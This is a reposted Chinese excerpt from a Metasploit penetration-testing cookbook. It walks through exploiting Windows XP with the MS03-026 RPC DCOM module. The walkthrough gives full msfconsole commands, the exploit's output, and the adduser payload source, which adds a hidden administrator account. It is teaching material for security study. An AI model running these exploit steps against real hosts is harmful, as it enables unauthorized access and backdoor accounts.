《Metasploit滲透測試手冊》—第3章3.3節在WindowsXPSP2上進行滲透測試8.7使用Metasploit進行模糊測試
本節書摘來自非同步社群《Metasploit滲透測試手冊》一書中的第3章3.3節 在Windows XP SP2上進行滲透測試8.7 使用Metasploit進行模糊測試,作者【印度】Abhinav Singh,更多章節內容可以訪問雲棲社群“非同步社群”公眾號檢視。
3.3 在Windows XP SP2上進行滲透測試8.7 使用Metasploit進行模糊測試
Metasploit滲透測試手冊
本節中我們將介紹如何使用Metasploit攻陷執行著Windows XP作業系統的目標機器,其中需要使用前面章節中講到的一些命令,進一步選擇漏洞利用程式碼和攻擊載荷,並設定各種必需的引數。
準備
首先在msfconsole中進行滲透測試過程。啟動控制檯,掃描埠蒐集目標機器的資訊,前面已經詳細討論過埠掃描的相關內容,這裡假設已蒐集到目標機器的資訊,並確定其執行的是Windows XP作業系統,接下來選擇漏洞利用程式碼和攻擊載荷。
怎樣實現
若要在Windows XP SP2上進行滲透測試,需遵循如下步驟。
(1)主要目標是選擇可用於Windows XP的漏洞利用程式碼,使用者可以瀏覽/exploits/ window目錄,或簡單地搜尋有哪些可用於Windows XP的漏洞利用程式碼。我們將使用RPC dcom漏洞對目標進行滲透,所以先對RPC dcom漏洞進行搜尋,可使用如下命令。
msf exploit(ms03_026_dcom) > search dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- -------------- --- -----------
exploit/windowsdcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC
xploit/windows/driver/broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless
xploit/windows/smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE
從結果可以看到,共搜尋到3個相關的結果。選擇使用第一個,因為該漏洞利用程式碼的評級為great,預示著使用該漏洞利用程式碼成功的機率更大。
(2)為將exploit/windows/dcerpc/ms03_026_dcom設定為可用的漏洞利用程式碼,可執行如下命令。
msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
命令列提示符的改變表明該命令已經執行成功。
(3)下一步為該漏洞利用程式碼設定必要的引數,show options命令可以列出該漏洞利用程式碼的可用引數,之後使用set命令即可對引數進行設定,其中一些引數會有預設值。
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
這裡,RHOST用於指定遠端目標主機的IP地址,RPORT用於指定預設的繫結埠。預設情況下,RPORT的值設定為135埠,我們需要將RHOST設定為實際的目標主機IP地址。
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf exploit(ms03_026_dcom) >
注意ms03_026_dcom漏洞利用程式碼的ID設定為0,這意味著不需要指定目標上執行的具體Windows型別,本漏洞利用程式碼適用於該專案列出的所有Windows版本。其他的漏洞利用程式碼一般都需要使用show targets命令來選擇目標作業系統。
目前,RHOST的值已經被設定為目標IP地址,如果此時執行漏洞利用程式碼,會產生錯誤訊息,因為還沒有為該漏洞利用程式碼選擇攻擊載荷。
(4)下一步選擇合適的攻擊載荷,可以使用命令show payloads列出所有可用的攻擊載荷。這裡選擇使用簡單的windows/adduser攻擊載荷,其功能是在目標機器作業系統中新增新使用者。
msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
(5)再次執行show options命令,將列出漏洞利用程式碼與攻擊載荷的所有引數。攻擊載荷引數形式如下所示。
Payload options (windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes seh, thread, process,
none
PASS metasploit yes password for this user
USER metasploit yes The username to create
從結果可以看到,新增到目標作業系統中的預設使用者名稱和口令都是metasploit,如果要更改這些值,可以使用set PASS命令和set USER命令。
(6)攻擊載荷已經設定完成,下面可以對目標機器進行滲透,使用下面的命令執行該漏洞利用程式碼。
msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
最後一行輸出表明,漏洞利用程式碼在目標機器上已經成功執行完畢,並在其上新增了新使用者。還可以看出,並沒有建立新的會話,這是因為選用的攻擊載荷是一個簡單的adduser,該攻擊載荷不需要活躍會話,因此,該漏洞利用程式碼執行後,與目標機器的連線即告終止。下一節將介紹如何使用攻擊載荷建立會話。
怎樣工作
在處理TCP/IP訊息交換的RPC協議中存在漏洞,漏洞的成因是對畸形訊息的處理存在錯誤,該漏洞影響分散式元件物件模型(DCOM)介面(該介面在啟用了RPC的埠上進行監聽),所以,需要在目標機器上存在執行RPC服務的可用埠。
該介面用於處理客戶端向伺服器傳送的DCOM物件啟用請求,成功利用該漏洞後,攻擊者可在受影響系統上以本地系統許可權執行任意程式碼,並在目標機器上執行某些操作,例如安裝程式、檢視/修改/刪除資料,或建立高許可權的使用者賬號。
要了解該漏洞的更多細節,可以參考如下的微軟安全公告連結。
http://technet.microsoft.com/en-us/security/bulletin/ms03-026
為了理解adduser攻擊載荷的工作機理,需要對該載荷的ruby程式碼進行分析,並找到如下位置。
root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows#
less adduser.rb
觀察下面的程式碼。
# Register command execution options
register_options(
[
OptString.new(`USER`, [ true, "The
username to create", "metasploit" ]),
OptString.new(`PASS`, [ true, "The
password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options(`CMD`)
end
#
# Override the exec command string
#
def command_string
user = datastore[`USER`] || `metasploit`
pass = datastore[`PASS`] || ``
if(pass.length > 14)
raise ArgumentError, "Password for the adduser
payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD && "
+
"net localgroup Administrators #{user} /ADD"
end
讀者可以通過閱讀#符號註釋後面的介紹以理解程式碼的功能,上面的程式碼是簡單。首先為使用者名稱和口令註冊相應值,然後隱藏CMD函式,以便在攻擊載荷執行時不會出現在螢幕上,之後覆蓋windows/exec載荷,傳遞引數值,並啟動隱祕的命令提示符在後臺執行相應命令。
讀者可以根據需要對這段程式碼進行修改,這將有助於對攻擊載荷的深入理解。
本文僅用於學習和交流目的,不代表非同步社群觀點。非商業轉載請註明作譯者、出處,並保留本文的原始連結。
相關文章
- Metasploit滲透測試指南
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- metasploit 滲透測試筆記(基礎篇)筆記
- 9、Metasploit域滲透測試全程實錄
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- metasploit 滲透測試筆記(meterpreter篇)筆記
- Metasploit滲透測試學習筆記——7、使用Metasploit生成各種payload筆記
- 滲透測試會用到哪些工具?滲透測試教程
- Kail Linux滲透測試教程之在Metasploit中掃描AILinux
- Linux滲透測試Linux
- 滲透測試-資訊收集
- 滲透測試報告測試報告
- 【滲透測試】Vulnhub DarkHole
- 滲透測試 網站安全測試行業問題分析網站行業
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 滲透測試什麼?滲透測試具體操作流程是什麼
- Android滲透測試Android滲透測試入門教程大學霸Android
- 安全測試和滲透測試的區別
- 滲透測試技巧總結
- 物理滲透測試基礎
- beescms網站滲透測試網站
- GraphQL滲透測試詳解
- FLUXION參考滲透測試UX
- 網路安全滲透測試
- kali滲透測試工具方法
- [原創]滲透測試工具
- Web 端滲透測試初探Web
- 【滲透測試】Vulnhub Hackable II
- [雪峰磁針石部落格]滲透測試簡介1滲透測試簡介
- 網站安全測試之APP滲透測試漏洞網站APP
- Burpsuite 滲透測試工具使用UI
- Metasploit 滲透測試手冊第三版 第二章 資訊收集與掃描(翻譯)
- 搭建滲透測試環境選自KaliLinux無線網路滲透測試教程Linux
- Kail Linux滲透測試實訓手冊第3章資訊收集AILinux
- Web滲透測試怎麼做:安全專家模擬黑客行為講述了滲透測試的原理Web黑客
- 網站滲透測試安全檢測漏洞網站
- 網站滲透測試安全檢測方案網站
- 內網滲透測試基礎內網